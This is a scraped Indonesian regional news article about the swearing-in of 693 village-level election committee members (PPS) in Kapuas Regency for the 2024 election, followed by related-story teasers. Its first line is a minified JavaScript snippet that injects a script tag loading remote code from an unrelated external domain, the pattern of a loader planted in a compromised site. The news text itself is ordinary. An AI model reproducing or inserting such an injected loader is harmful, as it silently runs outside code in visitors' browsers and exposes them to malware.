(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Komisi Pemilihan Umum (KPU) Kabupaten Kapuas menggelar pengambilan sumpah janji dan pelantikan anggota Panitia Pemungutan Suara (PPS), di GOR Panunjung Tarung, Kecamatan Selat, Selasa (24/1/2023) pagi.
Anggota PPS Pemilu 2024 yang ikut pengambilan sumpah janji dan pelantikan sebanyak 693 orang.
Dilantik secara serentak di empat titik berbeda di Kabupaten Kapuas yakni 11 kecamatan, sisanya di tiga titik yaitu di Sungai Hanyo untuk PPS di Kecamatan Kapuas Hulu, dan Kecamatan Mandau Talawang.
Sedangkan, di Kecamatan Kapuas Tengah dilaksanakan dua kecamatan yakni kecamatan Kapuas Tengah dan Kecamatan Pasak Talawang. Kemudian di Kecamatan Timpah untuk dua kecamatan yaitu Kecamatan Mantangai dan Kecamatan Timpah.
Baca juga : Kopi Aranio Binaan PLN Peduli Jadi Buah Tangan Favorit Turis di Bandara Syamsudin Noor
Adapun masa jabatan anggota PPS Pemilu 2024, berlaku sejak dilantik yaitu 24 Januari 2023 sampai April 2024 mendatang.
Pengambilan sumpah janji dilakukan Ketua KPU Kapuas Adiresido dihadiri Bupati Kapuas Ir Ben Brahim S Bahat, Wakil Bupati Kapuas Drs HM Nafiah Ibnor MM, Asisten I Bidang Pemerintahan Setda Kapuas Drs Ilham Anwar M Pd, Ketua Bawaslu, para Camat, Lurah, dan Kades.
Ketua KPU Kapuas, Adiresido menyampaikan selamat kepada anggota PPS yang diambil sumpah janji dan dilantik. Anggota PPS Pemilu 2024 hasil seleksi yang telah dilewati, baik itu tertulis sampai wawancara, dan dilaksanakan sesuai aturan yang berlaku.
“Mereka taat terhadap aturan main dalam penyelenggaraan Pemilu, artinya tegak lurus terhadap Undang-Undang dan aturan KPU,” katanya.
Baca juga : BPD di Kabupaten Banjar Berharap Ada Mobil Operasional
Adiresido menekankan, pentingnya penyelenggaraan Pemilu yang berlangsung baik dan aman. “Menghidari adanya permainan politik maupun kecurangan lainnya,” ingatnya.
Sementara itu, Bupati Kapuas Ben Brahim mengatakan, Kabupaten Kapuas mempunyai Daftar Pemilih Sementara (DPS) terbanyak dan Tempat Pemilihan Suara (TPS) terbanyak se Provinsi Kalimantan Tengah.
“Jadi, pada saat pesta demokrasi nanti, kepada seluruh masyarakat Kabupaten Kapuas agar memberikan hak pilih, dengan cerdas memilih sesuai hati nurani, karena hasil pilihan masyarakat akan mempengaruhi maju dan berkembangnya suatu daerah,” ujar Bupati Kapuas.
Orang nomor satu di Kabupaten Kapuas ini meminta kepada anggota PPS yang baru dilantik koordinatif dengan unsur terkait agar lebih memahami Tupoksi. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.